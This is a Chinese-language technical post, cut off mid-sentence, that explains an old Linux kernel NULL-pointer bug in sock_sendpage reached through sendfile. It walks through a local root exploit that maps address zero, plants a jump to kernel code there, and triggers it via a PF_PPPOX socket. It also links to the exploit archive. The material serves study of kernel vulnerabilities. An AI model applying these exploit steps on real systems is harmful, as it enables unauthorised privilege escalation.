在论坛上看到一个讲linux内核BUG的帖子,利用这个BUG,一个普通用户能够在运行某个程序之后,获得root权限.
示例的代码如下:http://www.securityfocus.com/data/vulnerabilities/exploits/36038-4.tgz
在ubuntu 9.04 ,内核版本2.6.28 .12 的机器上测试通过.
那么,这究竟是怎样一个BUG 呢?这段代码又是怎样利用这个BUG 的呢?
在网上收集了一些信息,并阅读相关部分的内核代码后,整理如下:
内核的BUG
这个BUG 得从sendfile 系统调用说起.
考虑将一个本地文件通过socket 发送出去的问题.我们通常的做法是:打开文件fd 和一个socket ,然后循环地从文件fd 中read 数据,并将读取的数据send 到socket 中.这样,每次读写我们都需要两次系统调用,并且数据会被从内核拷贝到用户空间(read) ,再从用户空间拷贝到内核(send) .而sendfile 就将整个发送过程封装在一个系统调用中,避免了多次系统调用,避免了数据在内核空间和用户空间之间的大量拷贝.
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
虽然这个系统调用接收in 和out 两个fd ,但是有所限制,in 只能是普通文件,out 只能是socket (这个限制不知道后来的内核版本有没有放宽).
sendfile 系统调用在内核里面是怎么实现的呢?这个还是比较复杂,它在内核里面做了原来要在用户态做的事情:创建一个pipe 对象作buffer 用、从in_fd 中读数据到pipe 中、将pipe 中的数据写到out_fd 、循环直到满足结束条件.
关于写数据到out_fd 的过程,简要描述如下:
sys_sendfile => 入口
do_sendfile => 参数检查,其中会确定out_fd 对应的file 结构包含sendfile 方法(out_file->f_op->sendpage)
do_splice_direct => 最终调用到out_file->f_op->splice_write ,而out_file 是个socket ,它的f_op->splice_write 等于generic_splice_sendpage
generic_splice_sendpage => 最终调用到out_file->f_op->sendpage ,这个sendpage 等于sock_sendpage
sock_sendpage 的代码如下:
struct socket *sock;
int flags;
sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);
注意,BUG 出现了,调用sock->ops->sendpage 之前没有判断这个函数指针是否为NULL .
( 这里调用的sock->ops->sendpage 就是out_file->f_op->private_data->ops->sendpage ,out_file->f_op->private_data 指针指向的是一个struct socket 结构,这个fd 代表的是一个socket .)
但是,这里的sock->ops->sendpage 可能是NULL 吗?搜索内核代码可以发现,并不是每一种类型的socket 都会实现sendpage 这个函数.但是大多数没有实现这个函数的socket 都将这个函数指针设为sock_no_sendpage( 这基本上是一个例行公事的空函数) .但是,有少数类型的socket 却没有设置sock->ops->sendpage( 没设置,则默认为NULL) ,如PF _PPPOX 、PF _BLUETOOTH 、等等.( 上面链接给出的代码就利用了PF _PPPOX ,后来我发现,用PF _BLUETOOTH 也能达到一样的效果,而换用PF_INET 之类的却不行.)
利用这个BUG
前面我们看到,内核在sendfile 系统调用中,没有判断sock->ops->sendpage 是否为空,就对它进行调用,并且sock->ops->sendpage 的确可能为空.
如果我们的程序中调用一个值为NULL 的函数指针,其结果会怎样?自然是程序崩溃,也仅仅就是崩溃而已.那么,这么个东西是怎么被利用,并实现窃取root 身份的呢?让我们逐步解读上面链接给出的代码.
主函数main() :
char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;
uid = getuid(); // 获取用户ID ,后面有用
gid = getgid(); // 获取用户组ID ,后面有用
setresuid(uid, uid, uid); // 确保用户ID 被设置到进程中
setresgid(gid, gid, gid); // 确保用户组ID 被设置到进程中
// 以下几句就狠了,它把0 ~1000 的地址做了映射,并且置可执行属性
if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
perror("mprotect");
return -1;
}
}
// 以下几句更狠,在刚刚映射的0 地址上写下JMP 到kernel_code 的指令
*(char *)0 = ''/x90''; // nop
*(char *)1 = ''/xe9''; // jmp
*(unsigned long *)2 = (unsigned long)&kernel_code – 6; // 这里是相对跳转,-6 就是减去当前地址的地址值
// 创建一个临时文件,用作源文件
if ((fdin = mkstemp(template)) < 0) {
perror("mkstemp");
return -1;
}
// 创建一个socket ,注意其类型为PF_PPPOX
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
perror("socket");
return -1;
}
// 下面重点就是sendfile 了
unlink(template);
ftruncate(fdin, PAGE_SIZE);
sendfile(fdout, fdin, NULL, PAGE_SIZE);
经过前面的介绍,我们可以看到,这里的sendfile 将在系统调用中触发对0 地址的调用.然而,现在0 地址上已经被写下了JMP 到kernel_code 的指令.
这里的kernel_code 实际上是和这个 |